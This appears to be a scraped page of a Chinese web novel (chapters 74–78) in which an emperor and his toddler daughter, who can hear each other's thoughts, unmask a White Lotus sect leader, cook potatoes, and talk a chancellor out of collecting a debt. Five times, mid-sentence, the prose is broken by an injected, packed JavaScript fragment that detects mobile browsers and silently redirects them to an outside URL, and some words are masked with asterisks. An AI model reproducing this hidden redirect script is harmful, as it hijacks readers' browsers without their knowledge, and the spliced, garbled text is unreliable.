RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287035|182630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' *’的信物,喊他前去伯府一聚。” 这轻飘飘的几句话,却蕴含着巨大的离间能量,“三人中必有一叛徒”的猜忌和“对方正在把一切责任推给自己”的恐惧,瞬间吞噬了他们的理智。 最终的审讯,图穷匕见。 两人再次被带入审讯室时,眼神都已彻底改变,不再是惶恐,而是充满了对彼此的猜忌和愤恨。 包准将两份精心修改、漏洞百出又互相矛盾的供词摔在他们面前。 “庞寮!周其同说一切皆由你指使,你假传‘左**’之令!”“周其同!庞寮声称你才是主谋,你意图构陷于他,妄图取‘左**’而代之!” “他胡说八道!”庞寮第一个跳起来,眼睛赤红地指着周其同,“大人!是他!一切都是他安排的!是他拿了左**的令牌来找我!让我那夜必须去伯府听令!我是被迫的!周其同才是教中核心!” 周其同闻言,气得浑身发抖,再也顾不得任何仪态,破口大骂:“放屁!庞寮你这狼心狗肺的东西!分明是你来告诉我左**有难,命我等前去商议营救!令牌?我看是你自己想攀咬与我好往上爬!大人!您切莫信他!他才是那个包藏祸心的叛徒!” 两人情绪彻底失控,如同争夺生存机会的困兽,疯狂地互相撕咬,拼命地将“白莲教教徒”的帽子和所有罪责扣到对方头上,每一个细节的揭露都坐实了他们的身份。 然而,就在这激烈的狗咬狗之中,一个极其诡异的现象出现了:无论他们如何攀咬对方,如何竭力洗清自己,但对于陈朝录,两人的口径却离奇地高度一致—— “陈伯爷?他什么都不知道啊!”“此事与伯爷毫无干系!他全然是被我们牵连的!”“我们是利用了他的府邸,他本人毫不知情!” 他们急于撇清陈朝录的态度,甚至比为自己辩解更为急切和统一。 端坐于上的包准,冷静地记录着这一切,嘴角勾起一丝不易察觉的冷笑。 第74章 白莲教 第七十四章白莲教 真正的收网时刻,终于到了。 御书房内,檀香的气息在空气中缓缓盘旋,却丝毫无法缓解那份几乎凝成实质的压抑。白洵端坐于书案之后,面色平静,看不出喜怒。 当然,旁边还有个兴奋得快要坐不住的白晓晓。 她心里简直乐开了花——太好了! 终于不用再陪爹爹下那该死的围棋了! 如果说玩狼人杀还得动动脑子猜身份,那下围棋简直就是对脑仁的酷刑!每一步都要算计后面十步,她一个虚岁才两岁半的宝宝,脑容量就那么一点点,真的不够用啊喂! 许久未见的陈朝录被带了进来,他整个人仿佛被抽走了精气神,虽不至于在短短时日里增添几条皱纹,但那副灰败、颓唐的模样,却让他看上去苍老了十岁不止。 「该不会……都是因为我吧?」 「我的计策有这么杀伤力巨大吗?」 白晓晓莫名地生出一点点心虚,毕竟这“钓鱼执法”的主意是她提的,也是她亲自去牢里点燃了第一把火。 没想到就这么稍微利用了一下,这位伯爷的抗压能力好像……不太行啊?这就被彻底打蔫儿了? 御书房里的头号装相儿大师白洵,此刻正完美扮演着一位深不可测的君王。 事实上,陈朝录的底牌早已被摸清,庞寮和周其同那互相撕咬的供词,拼死维护的,正是眼前这位,真正的白莲教左**。 “说说吧,为什么加入白莲教?”白洵声音平淡,并没有什么特殊的波动,就像是在唠家常,区别就是没一同坐在炕沿儿,而是一个人跪着一个人站着。 陈朝录似乎也彻底放弃了挣扎,有些话他没对包准那个黑脸说,此刻却莫名地想对这位他内心深处或许认可为明君的皇帝倾诉。 “罪臣之妻田氏,”他抬起头,语出惊人,“并非普通民女。” 他顿了顿,似乎在积蓄勇气,然后抛出了一个重磅**:“她其实是前朝肃亲王流落民间的孙女。我起初并不知情,是后来一次偶然才发现了这件事……那时,她已为我诞下两子一女,夫妻多年,恩深情重,实在无法割舍。” 「确实感情挺好的,都没有纳妾。」 「京城里哪个夫人不羡慕忠勇伯夫人啊。」 「爱大了吧,受伤了吧~~」 白晓晓忍不住在心里头唱了起来,怎么不算是爱情惹得祸呢? 日子怎么会和谁过都一样呢! 眼前这位,可是个愿意为了你豁出一切——哪怕是抄家、流放、**,甚至是最可怕的凌迟,都心甘情愿、眉头不皱一下的绝世好男人啊! 白洵的手指轻轻敲了敲桌面,将他的思绪拉回:“大丈夫立于世,当有所为,有所不为。” 这句话,像一把钥匙,瞬间打开了陈朝录心中那扇充斥着矛盾与痛苦的门。 是啊,忠君爱国之大义,与保全妻儿之小情,发生了最激烈的冲突。 而他,这个曾被寄予厚望的将领,最终却义无反顾地选择了后者。 他脸上露出一丝苦涩与自嘲:“白莲教以妻儿做要挟,我不得不就范。但后来、后来也可能是习惯了。” “罪臣愧对圣上......” 御书房内再次陷入沉寂。 陈朝录的声音低沉而沙哑,继续说道:“白莲教其实成立的时间不短了,说来可笑,我至今也没完全弄明白,他们整天嚷嚷着要‘光复’的,究竟是哪一朝、哪一代?” 他嘴角扯出一抹苦涩的弧度,“正好赶上先皇不理朝政,一心沉迷丹道长生,天下颇有微词。他们便以此为引子,趁机拉我下水,还给了我一个看似风光的‘左**’。” “后来西北战事起,蛮夷铁蹄连破五城!可满朝文武都在干什么?只知道求和!只知道嫁公主息事宁人!” “我空有一身武艺,满腔热血,却只能在京城做个无所事事的闲散伯爷,得不到半分重用!那种憋屈。我一步踏错,加入了他们,利用职权,暗中为他们掠夺钱财,助其成长。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287036|182630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的语气忽然变得激动起来,带着一丝后怕的颤抖:“可去年战事再起,他们竟然把手伸向了军粮!那是几十万将士们过冬的命啊!我怎么可能给?我陈朝录再混账,也干不出这种断送国本、让前线弟兄活活冻饿而死的事!” “一边是白莲教的步步紧逼,另一边是我的良心和身为军人的底线,我被夹在中间,左右都不是人。所以、所以后来圣上出手整治,我几乎是顺水推舟,借着您的力,假意失败,既摆脱了他们的控制,也算用这种方式,全了我心里那点可怜的道义。”他的肩膀垮了下来,声音里充满了无尽的挣扎。 “圣上还是太子的时候,罪臣眼拙没瞧出真龙。如今看来,您确有明君气度。西北已收复,东北正发展,一片大好山河……可惜,我再也看不到了。” 他缓缓垂下眼,浓重的悲伤几乎要溢出来。 谁能想到,当年即便是监国理政时也处处受掣肘、不敢放开手脚的太子,如今竟能有如此雷霆万钧的手段——不仅一举逼退了肆虐西北的凶悍蛮夷,甚至还能炼制出那般威力惊人、声震四野的神威大炮! 可惜啊,时也,运也,命也。 这一切的雄图伟略、赫赫功绩,终究是与他陈朝录再无干系了。他自己的这条性命,从踏上歧路的那一天起,就已不足为惜,刀架颈上,他认了。 只是可怜了他的三个儿女,小女儿年仅四岁...... 他原本还盘算着,明日就想办法先将夫人和儿女悄悄送离京城,前往南方避难,他一人做事一人当,要杀要剐都认了。 可惜啊,棋差一着,满盘皆输。一步慢,步步慢,终究还是上了圣上的当。 他当然不会觉得这是白晓晓的锅,毕竟那只是个奶娃娃,看起来连脸都不会洗。 幸好白晓晓听不见他这番心里话,否则非得当场跳起来,把爹爹手里的茶杯全扣他脸上! 说谁不会洗脸呢! 你才脸都洗不干净! 你们全家都洗不干净! 第75章 卷春饼 第七十五章卷春饼 “如今你既知朕愿意、且有能力做一代明君,”白洵的声音平稳,却带着一种不容置疑的威严,“那么对于白莲教,你可还有什么要交代的?” 他目光如炬,审视着跪在下方的人。 这毕竟是第一个被抓到的核心叛党,于情于理,都不可能轻轻放过。 但眼前这人似乎还存着几分忠君爱国的迂腐气,若是能趁机撬开他的嘴,多揪出几个同党,也算是物尽其用,或者说是成全他心里的大义。 陈朝录缓缓地摇了摇头,脸上露出一抹惨淡的苦笑。 圣上或许心怀慈悲,但他更明白慈不掌兵的道理,所以他全家老小的性命,无论如何都不会被饶恕。 斩草必要除根,眼前这位圣上想必比谁都懂。 既然无论如何都争取不到一丝宽恕,那又何必在最后时刻,再把其他那些或许还能有一条生路的人拖下水呢? 这点固执的义气,竟成了他最后的坚持。 “那庞寮和周其同呢?你也不管了?”白洵追问,陈朝录依旧摇头。 那两个人,蠢得各有千秋,一个沉不住气,一个藏不住事。 即便没有他这件事,就凭他俩那点脑子,暴露也是迟早的,他甚至懒得为他们求情。 “其实,”他忽然抬起头,带着几分看透世事的嘲讽,“白莲教的威胁,远不及朝中那些蛀虫硕鼠。教众所求再多,金银财宝也能打发;而蛀虫所蚀,却是国之根基。” 一旁的白晓晓忍不住叹了口气,这话虽然难听,却是大实话。 人心贪欲无穷,真正一心为民的好官不是没有,只是太少了,少得像黑夜里的星星。 这问题盘根错节,几乎无解。 “朕会改变的,朕能改变。”白洵的声音斩钉截铁,打破了沉重的气氛。他挺直脊背,眼中闪烁着锐利而自信的光芒,“亲手改变朝堂的局面。” 陈朝录怔怔地看着年轻帝王眼中那簇几乎可以称之为雄心壮志的火焰,那一瞬间,他死寂的心里竟莫名地重新燃起一丝微弱的希望。 他郑重地、深深地点了下头:“您能做到的。” 这一句,不再是罪臣的奉承,而是源自一个曾身居高位、看尽**的将领最真诚的认可。 君臣这一番对话,竟成了最后的诀别。 御书房内的空气仿佛凝固了一般,白晓晓也耷拉下了小脑袋,像颗被霜打了的小白菜。 她心里头闷闷的,说不出的难受。 怎么说呢,就是一种明明是个能人,却偏偏在错误的时间走上了错误的道路,最后不得不被咔嚓掉的无力感。 她偷偷瞟了一眼身旁的父皇。爹爹当时做储君其实也很不容易,除了他自身够厉害、够隐忍,恐怕真的还得加上命足够硬这一条。 而陈朝录呢?他又何尝不是被时运捉弄?如果他效忠的不是先皇那样……呃,那样沉迷炼丹、不理朝政的君主,而是换一个清明盛世,说不定真能成为一代开疆拓土、青史留名的良将。 唉,只能说当时的事情各有各的难处,都是命运戏弄人。 「爹爹真的已经非常非常努力了,每天天还没亮透就得爬起来去上朝,奏折批得比山还高。」 「陈朝录也是真的可惜了……明明有想法、有魄力,是个能带兵打仗的将才啊。」 「要是他能晚生个二十年,赶上爹爹当家做主的太平年头,那该多好啊……」 她心里小小地唏嘘了一下,当然,她绝不会觉得自己的皇帝爹爹心太狠。 当皇帝要是还心慈手软,那该害怕的就是她了! 保不齐哪**宫就被叛军包围,她这个堂堂长公主,瞬间就会沦为前朝公主,加两个字不多,但是结果可是天翻地覆了。 现在这样多好! 她还是那个可以横行……啊不是,是大摇大摆行走皇宫、能上朝听政、还能随时随地内心吐槽百官的无敌长公主! 小日子过得不知道多舒坦! 她才不会闲得没事干,给自己找不痛快呢! 这边刚处理完糟心的逆案,那边司农寺卿就喜气洋洋地跑来汇报了一个天大的好消息——曲辕犁,造 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287037|182630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了! 而且试用效果惊人,效率高得让老农们都合不拢嘴! 白晓晓其实压根没见过真正的曲辕犁,即使是老家也是城市里的高楼大厦、柏油马路,连片像样的庄稼地都找不着——除非是坐绿皮火车哐当哐当出远门的时候,才能偶尔瞥见窗外几块飞快掠过的田。 再说了,现代社会的农业技术发展得多快呀!播种有播种机,收割有收割机,效率高得吓人。这种老古董式的木头犁,怕不是早进了博物馆。 但别的不说,她对历史书上的图纸印象可太深了! 为啥?可不是她历史学得好! 纯粹是因为当年上课走神那会儿,她没少在课本空白处偷偷临摹这玩意儿! 她记得清清楚楚,把笔直的犁辕改成弯曲的,就这么一个巧思,瞬间解锁了新技能:既能灵活调节耕地的深浅,转弯掉头又特别省力,特别适合精耕细作,一下子就把耕作的效率和质量都唰唰地提上去了! 看着司农寺献上来的实物,白晓晓眼睛一亮,迫不及待想跟着爹爹去田里看看情况。 「哇!和历史书上的插图一模一样!」「这司农寺的老师傅们有点东西啊!动手能力超强!」 这时候,旁边的白洵才恍然大悟,轻轻哦了一声,用一种“原来如此”的语气小声嘀咕:“朕之前还一直以为是‘曲圆犁’,搞了半天是叫‘曲辕犁’啊……” 搞明白了这个名字,他顿时觉得自家闺女的形象又高大了几分。 一股难以言喻的骄傲感和捡到宝的狂喜瞬间涌上心头,这哪里是寻常小娃娃,这分明是他的小福星、小智囊! 龙心大悦之下,他觉得必须给予最高规格的奖励!什么口头表扬都太虚了,必须来点实实在在的! 他侧过头,笑眯眯地低声问闺女:“今儿晚上想吃什么?爹让御膳房给你做!” 白晓晓眼睛唰地一下就亮了,举起小手兴奋地喊道:“春饼!我要吃春饼!卷好多好多菜的那种!” 声音又脆又亮,她恨不得把脑子里想到的所有好吃的东西都卷进去! 第76章 土豆丝 第七十六章土豆丝 御膳房的效率那真不是吹出来的,更何况这还是圣上金口玉言、特意为小公主钦点的奖赏,哪个环节敢有半分怠慢? 待白洵亲眼在校场见识过曲辕犁翻土省力、转弯灵活的高效之后,心中更是欢喜。 刚回到殿内没多久,一张专门为“春饼宴”准备的红木矮桌便被太监们利落地抬了进来,安置在暖阁一角。 几张摞得整整齐齐的春饼皮放在保温的蒸笼里,白晓晓拈起一张,入手微润,薄如蝉翼,隐约都能透过光去,而且饼皮软韧而有嚼劲。 她不客气地将一张饼皮摊开在自己白白嫩嫩的手心里,目光灼灼地扫向桌上那几个油光水滑的青瓷碟: 炒合菜是绝对的主角,嫩黄的鸡蛋丝、深绿的菠菜段、橙红的胡萝卜丝、淡黄的豆芽、深褐的香菇丝还有瘦肉一起混炒,经典绝不会出错。 酱焖肘花是唯一的荤菜,肘子肉炖得酥烂入味,切成薄片,肥瘦相间,油光锃亮,卷进饼里更是增添丰腴的肉香和满足感。 香干韭菜这是个味冲的,架不住它咸香可口,爱这口的人真是爱到骨子里,嫌弃的人则避之唯恐不及。但这股强烈的风味,恰恰是解腻的妙笔。 她一股脑儿全都卷进了饼皮里,没有章法的混合口味就是最好吃的,大咬一口,各种香气和口感同时在嘴里炸开。 「太好吃了!」 「就是这个味儿!想死这一口了!」 「虽然没有土豆丝,但一点不影响!这简直是豪华顶配版!」 她一边满足地嚼着,一边下意识地想到了土豆。 没有土豆的春饼感觉都不完整了,虽然也挺香的...... 正偷听闺女的心声呢,就见白洵像是忽然记起了什么,微微一笑,朝身旁的内侍使了个眼色。不一会儿,两个小太监就抬着一个小箩筐走了进来,筐里装着几个沾着新鲜泥土、形状不规则的块茎。 “景铭托南边来的商队,快马加鞭送来的。”白洵说道,语气里带着几分期待与好奇,“说是一种叫‘番薯’的东西,你这个小吃货瞧瞧,可有什么法子?” 白晓晓探头一看,眼睛瞬间瞪得溜圆,心里爆出一阵无声的呐喊:“!!!” 谁说福无双至,土豆这不就来了吗! 怎么做都好吃的土豆,简直是神仙……呃…… 一时不知道它算蔬菜还是主食,一种根茎类植物,总之就是好东西! 白晓晓等不了,当即命人抬着这筐去了御膳房。 “留点做粮种啊~”白洵的声音在后头追。 “削皮!切成细细的丝!对,就像豆芽那么细!然后泡在水里,把淀粉泡出去一些!” “烧热油锅,放花椒爆香!对!然后把土豆丝沥干水倒进去!快炒!” “淋醋!对,就是现在!出锅前加点盐就好!” 小人儿满心满眼都是——御厨手里那口冒着热气的铁锅,淡黄色的细丝在热油中翻滚,发出刺啦的悦耳声响,醋遇热激发的酸香混合着花椒爆开的麻香,弥漫开来。 可惜啊,这个时代还没有辣椒,否则撒上一把干辣椒段,那才是真正的灵魂所在——酸辣土豆丝!不过眼下这酸麻口的,也足够惊艳了! 御厨一丝不苟地执行着这小人儿的指令,很快,一盘色泽清亮、酸香扑鼻、根根脆爽的醋溜土豆丝便出了锅。 白晓晓兴奋得眼睛闪闪发亮,迫不及待地亲自上手,夹起一大筷子油光水亮、脆生生的土豆丝,整整齐齐地码在饼皮中央。 她献宝似的递到了白洵面前,小脸上写满了“快夸我”的期待:“爹爹快尝尝!” 接着,她又一丝不苟地重复刚才的步骤,仔仔细细地给娘亲也卷了一个,确保份量十足、不会散开。 最后,才轮到她自己。她给自己卷了一个超大的,两只小手都快握不住了,迫不及待地张开嘴,“嗷呜”就是一大口! 霎时间,酸、麻、咸、香多种滋味在口腔里欢快地炸开!土豆丝保持着恰到好处的脆度,发出轻微的“咔嚓”声,与柔软而筋道的饼皮形成了绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287038|182630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妙的对比和丰富的口感层次。 她满足地眯起了眼睛,像只偷吃到小鱼干的猫咪,甚至竖起了一根沾着些许油渍的大拇指,含混不清地嘟囔着:“好次!” 她心里暗自庆幸:幸好御厨不爱自我发挥,严格按照她的要求没放一丝姜!要是放了姜丝,她一口下去,怕是灵魂都得嫌弃地升天。 「我以前可是种过土豆的呢!」 「切块、催芽、重肥......」 「喜欢肥沃疏松的土壤,天气凉快的时候长得最好。」 这些种植要点,她简直太熟悉了。 上辈子那段特殊时期,她硬是在自家小小的阳台上,用几个泡沫箱和花盆,成功种出了好几茬令人羡慕的土豆!从如何切种薯到防治病虫害,她门儿清。 可是该怎么向爹爹解释她知道这些呢? 难道要说是做梦梦到的?现在现场编一个“神仙老爷爷梦中授艺”的故事,还来得及吗?会有人相信吗? 小人儿苦恼地歪着小脑袋,有点害怕自己会被当成宣扬怪力乱神的小妖怪。 “糟了,”她下意识地倒吸了一小口凉气,赶紧回想自己刚才有没有得意忘形说漏嘴。实在不行,就只能硬着头皮说是“吃货为了永远有好吃的东西而自带的研究天赋”了。 虽然听起来也很扯。 她刚鼓起勇气,就听见身旁的白洵拿起了一封信笺,缓缓念道:“取其块茎,切为小块,需确保每块上皆有一至二饱满芽眼……” 白晓晓小嘴微张,原来景小郎君都有写清楚呀,那她就放心啦。 白洵合上信纸,脸上带着毫不掩饰的赞赏,感慨道:“没想到景家这小子,于农事一途竟有如此天赋见识!” 他违心夸着,其实信上没写这么详细,全是他现场发挥编出来的! 眼看白晓晓似乎被这番“详细”的讲解吸引,侧着小脑袋望过来,白洵下意识地“啪”一声合上了信纸。 ——他完全忘了,他眼前这个的古灵精怪闺女,压根还不识字儿哩! 第77章 催债的 第七十七章催债的 种土豆当然不是动动嘴皮子就能成的事,就算知道了方法,终究还得靠人一点点去实践。不过,白晓晓倒是一点都不慌。 毕竟景铭这一趟就运回来了整整十大筐土豆种,照这个架势,要不了两年,京城家家户户的饭桌上,估计都少不了土豆的身影。等到时候她连夜出一本食谱,就叫《土豆的101种做法:从入门到顿顿吃!》。 光听这书名,她就觉得销量绝对稳了——畅销榜前十肯定有它一席之地! “土豆好土豆妙,土豆就是个好宝宝~”白晓晓还在天真地做美梦,左相已经带着他的账本追上门了。 这位胡须花白、身形清瘦的老臣,此刻正端端正正站在御书房里,双手捧着一本厚得能当砖头用的账册。他出门前还特意换上了一身半旧不新、甚至肘部还带着不明显补丁的官服。 说这是故意卖惨可能有点过分——毕竟,他是真的惨。 “圣上,”左相汇报工作的开头还挺像样,“雪灾冻害已初步控制,受灾百姓也都暂时安置妥当。此次赈灾,共计新建房屋七百余间,从江南调运粮米三万石,发放棉衣棉被各五千套,其余人工、车马、医药等各项开支……” 他一笔一笔,报得清清楚楚、明明白白。最后啪地一声合上账本,那声响轻却重,简直像道惊雷劈在御书房里。 “除去国库现银与各地官仓调拨的物资,此次赈灾总计超支……”他顿了顿,抬起眼皮,目光像尺子一样量向白洵,“四十万两白银,臣已先行垫付,这是全部账目,请圣上过目。” 说完,他将那本“砖头账”朝前一举,动作里透着一股“你要敢不认,我就在这儿不走了”的决绝。 那眼神更是明明白白:一手交钱,一手交账本。 不给?免谈! 他原先还做过拿这笔钱换张丹书铁券的美梦,可回家之后整整三天没睡着——越想越觉得这风险太大。不是舍不得这些银两,是怕钱舍出去了,美名没传开,大义没人提,铁券也没个影。 到头来真让他两手空空去九泉,只怕要被祖宗八代一起暴打。 白洵脸上的笑容瞬间被这四十万两的巨浪拍飞,下意识地摸了摸鼻子,眼神开始飘忽。 “爱卿劳苦功高!”不管有没有用,他先给左相戴一顶高高的帽子,“要不是爱卿自掏腰包鼎力相助,灾情哪能控制得这么快?朕心甚慰……” “圣上,”左相毫不客气地打断了他的施法前摇,语气依旧平稳却不容置疑,“老臣家的账房先生、米铺掌柜,都还等着这笔银子回去发工钱、结货款。您看,国库什么时候能把这笔款项拨还?” 白洵:“……” 国库? 国库现在比他的脸还干净! 刚抄没皇亲的那点家当,还没捂热乎就填了之前的窟窿。 「这老头像是清醒了哈,不知道谁给他点明白了。」 「不过没关系,我爹还能继续画饼~」 「等我长大了也要卖他点保健品,嘻嘻。」 白洵虽然不知道保健品是啥,但是对“画饼”二字心领神会。 他清了清嗓子,脸上笑容真诚:“爱卿啊,这四十万两,国库一时半会儿确实周转不开。但朕这里,眼下正有一个利国利民、稳赚不赔的大好项目,不知爱卿你有没有兴趣投资参与一下?” 左相花白的眉毛微微一挑,那双看透世事的眼睛里明明白白写着:你看我像傻子吗? 白洵丝毫没有被拆穿的尴尬,脸不红心不跳:“哎,朕知道,空口白话难以取信。咱们说点实在的,爱卿,你吃过土豆吗?” 他也不说什么番薯了,直接就跟着闺女喊土豆,显得格外亲切接地气。 “看起来是个黑疙瘩,其实它可是个金疙瘩,亩产极高,可粮可菜,只需一年半载,便能推广开来!家家户户餐桌上都少不了它,这得是多大的市场?这能赚多少银子?区区四十万两,爱卿,眼光要放长远啊!” 白晓晓突然被抱起来,还有点没反应过来,不是在说土豆吗,怎么抱起了她这个宝贝疙瘩? 不过她也非常配合地竖起大拇指:“土豆!好吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287039|182630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !赚大钱!” 左相一开始是坚决不信的,眉头皱得能夹死苍蝇。但架不住白洵说得天花乱坠,语气又极其笃定自信,气氛烘托得又极其到位。 老丞相听着听着,眼神渐渐从“你骗鬼呢”变成了“好像有点道理”,再到最后,竟然下意识地摸了摸自己的胡须,陷入了沉思。 谁能拒绝四十万两翻三倍的诱惑?那可是一百二十万两啊! 白洵瞅准时机,猛地一拍大腿:“这样!爱卿既是首位投资人,朕便许你一个优先认购权!将来土豆推广,利润分你一大成!” 左相心里噼里啪啦打着算盘,加上殿里熏香缭绕,脑瓜子已经嗡嗡作响。 就在这时,白晓晓适时递过来一张刚出锅的土豆丝饼——金黄酥脆的土豆丝团成冰状,微焦的边缘散发着香味,一个劲儿往人鼻子里钻。 左相咬一口外酥里嫩,竟是从未体验过的扎实和鲜美。 他鬼使神差地,竟然真的被说动了。 他晕晕乎乎地,又从空瘪的钱袋里,掏出了二百两银票,作为追加投资。 等他接过皇帝亲手写的、墨迹还没干透的“土豆优先认购凭证”,脚步虚浮地走出御书房时,凉爽的秋风一吹,他发热的头脑才稍稍冷静下来。 “亩产数千斤…利国利民…优先认购……”他喃喃自语,心里开始盘算着这笔投资似乎也许可能真的不亏? “哐当!” 他想得入神,没留意脚下,直接被高高的门槛结结实实地绊了一下,差点摔个趔趄。 这一绊,仿佛也把他从黄金梦里彻底绊醒了! 他猛地站定,手里捏着那轻飘飘的凭证和重如千钧的账本,突然回过味来—— 不对啊!! 我明明是来要债的!! 怎么不仅钱没要回来,反而又倒贴了二百两?! 他猛地回头,看看关上了的宫门,又低头摸了摸钱袋子,一种熟悉又心塞的、被坑得明明白白的感觉,排山倒海般涌上心头。 老头两手一拍大腿,这回是真想哭了。 第78章 做胎教 第七十八章做胎教 北方的春天,实在有点名不副实。它短暂得像打了个喷嚏,还没来得及欣赏枝头那点可怜的绿意,就被一场又一场裹着沙尘的大风刮得无影无踪。天气更是反复无常,今天可能暖得让人想穿单衣,明天一场“倒春寒”就能把人直接打回原型。 好在,这别扭的春天并没持续多久。十几日后,天气终于彻底稳定下来,阳光里带上了几分实实在在的热度,算是正式迈入了初夏的门槛。 朝廷里最近也没什么大事发生,风平浪静,连个能让人嗑瓜子围观的热闹都没有。无聊透顶的白晓晓,干脆彻底摆烂,连续赖床了两天,活像一只被粘在榻上的小猫,连根手指头都懒得动。 虽说她平时是个精力旺盛到能拆家的“高能宝宝”,但偶尔也会想切换到“节能模式”。尤其是现在,靠着香香软软、又有孕在身的娘亲,装乖卖萌,当个安静的挂件,简直是世界上最幸福的事。 皇后陈兮芮的孕肚已经微微隆起,形成了一个温柔的弧度。难熬的孕吐阶段总算过去了,她进入了一个胃口大开、看什么都觉得好吃的阶段。倒也不是食量变得多么惊人,纯粹是食欲好了太多,总想尝点新鲜滋味。 只可惜,这胃口也变得像六月的天,说变就变。刚才还特别想吃的枣泥糕,真端到面前,尝了两口就觉得腻了,于是顺手就放在了旁边。 “娘亲不吃了吗?”一颗小脑袋立刻从她胳膊旁钻出来,眼睛亮晶晶地盯着那盘几乎没动的精致点心。 “嗯,没什么味道,不想吃了。”陈兮芮温柔地摸了摸女儿的头。 “那晓晓帮娘亲吃掉!不能浪费粮食!”小家伙说得义正辞严,动作却快如闪电,小手麻利地抓起盘子,啊呜啊呜几口,一盘枣泥糕就迅速“阵亡”了。 别人家孩子是“眼睛大肚子小”,偏偏白晓晓是“人小胃口大”,肚子像个无底洞。 陈兮芮看着女儿鼓囊囊的腮帮子和沾着点心渣的嘴角,忍不住笑着打趣:“看你吃的这么香,你爹都快怀疑你是不是上古凶兽饕餮转世投胎来的了。” “才不是呢!”白晓晓立刻捂住小脸,试图挡住娘亲带笑的目光,瓮声瓮气地转移话题,“娘亲!我给弟弟读启蒙故事!” 她说着,一骨碌爬起来,跑去书架旁装模作样地翻找。其实她大字还不识几个,所谓的“读故事”,纯属即兴发挥。 她拿了一本看起来最厚的书,像模像样地摊开在自己和娘亲的肚子之间,小手指点着书上密密麻麻的字,开始一本正经地胡诌: “今天呢,姐姐给讲一个……呃……《海盗大战奥特曼》的故事!” 陈兮芮:“???”奥特曼是什么曼? 白晓晓才不管娘亲的疑惑,继续声情并茂地编造:“从前啊,在很远很远的大海里,有一群坏蛋海盗!他们长得可丑了,戴着黑眼罩,还有铁钩手!他们专门抢小朋友的糖和点心!特别坏!” (此时,正在御书房对着东南沿海海盗奏折头疼的白洵,莫名打了个喷嚏。) “然后呢!”晓晓越说越投入,手舞足蹈,“然后就来了一个超级大英雄!叫……叫‘土豆侠’!他特别厉害,会发射酸辣土豆丝飞镖!还会用土豆泥大炮轰海盗船!‘轰——!啪——!’就把坏海盗全都打跑啦!海面就飘满了香喷喷的土豆饼!” 陈兮芮听着女儿这荒诞离奇又充满食物味道的故事,忍俊不禁,笑得肚子里的宝宝都轻轻动了一下。她温柔地抚摸着腹部,感觉所有的烦闷和无聊都被女儿这通胡说八道给驱散了。 “所以呀,”白晓晓总结陈意,小胖手小心地摸了摸娘亲的肚子,老气横秋地说,“弟弟你不要怕海盗哦!以后有坏人欺负你,姐姐就变成土豆侠保护你!再用土豆泥大炮轰飞他们!” 虽然故事荒诞不经,但那份想要保护家人的心意,却无比真挚。 陈兮芮的心软成一汪春水,她搂过女儿,亲了亲她带着点心甜香的脸蛋:“好,那弟弟以后就交给土豆侠姐姐保护了。” “包在我身上!”白晓晓骄傲地挺起小胸脯,瞬间把爹爹的海盗烦恼和“饕餮转世”的嫌疑抛到了九霄云外。 此刻,她的世界里,只有需要她保护的娘亲和弟弟,以及……下一盘点心该吃什么好呢? 北方的初夏,天气总算有了点宜人的样子。可皇宫里头,有一项“工程”却进行得比天气还火热——那就是白晓晓主持的“皇家胎教大业”。 看着娘亲陈兮芮日渐隆起的肚子,白晓晓内心充满了紧迫感。 「这叫胎教!得从胎儿就开始卷!」她握紧小拳头,一脸严肃地盯着娘的肚子,仿佛那里面不是她弟弟,而是一个需要疯狂刷题的准考生。「现在进行早期教育,将来他就能赢在起跑线上!」 